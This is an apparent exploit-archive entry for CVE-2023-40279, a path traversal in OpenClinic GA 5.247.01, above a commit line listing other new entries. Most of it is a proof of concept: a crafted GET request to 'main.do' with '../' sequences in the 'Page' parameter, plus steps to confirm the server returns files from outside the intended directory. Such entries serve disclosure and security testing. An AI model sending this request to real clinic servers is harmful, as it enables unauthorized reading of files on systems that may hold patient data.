27ecd9e84b
5 changes to exploits/shellcodes/ghdb Jenkins 2.441 - Local File Inclusion OpenClinic GA 5.247.01 - Information Disclosure OpenClinic GA 5.247.01 - Path Traversal (Authenticated) djangorestframework-simplejwt 5.3.1 - Information Disclosure
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1.6 KiB
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34 lines
No EOL
1.6 KiB
Markdown
# Exploit Title: OpenClinic GA 5.247.01 - Path Traversal (Authenticated)
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# Date: 2023-08-14
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# Exploit Author: V. B.
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# Vendor Homepage: https://sourceforge.net/projects/open-clinic/
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# Software Link: https://sourceforge.net/projects/open-clinic/
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# Version: OpenClinic GA 5.247.01
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# Tested on: Windows 10, Windows 11
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# CVE: CVE-2023-40279
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# Details
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An issue was discovered in OpenClinic GA version 5.247.01, where an attacker can perform a directory path traversal via the 'Page' parameter in a GET request to 'main.do'. This vulnerability allows for the retrieval and execution of files from arbitrary directories.
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# Proof of Concept (POC)
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Steps to Reproduce:
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- Crafting the Malicious GET Request:
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- Utilize a web browser or a tool capable of sending custom HTTP requests, such as curl or Burp Suite.
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- Format the GET request as follows (in this example, `../../main.jsp` is used to attempt directory traversal to access `main.jsp`):
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GET /openclinic/main.do?Page=../../main.jsp HTTP/1.1
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Host: 192.168.100.5:10088
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
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Connection: close
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Cookie: JSESSIONID=[SESSION ID]
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Cache-Control: max-age=0
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2. Confirming the Vulnerability:
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- Send the crafted GET request to the target server.
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- If the server responds with the content of the requested file (e.g., `main.jsp`) from outside the intended directory, it confirms the presence of a directory path traversal vulnerability.
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- This vulnerability can lead to sensitive information disclosure or more severe attacks. |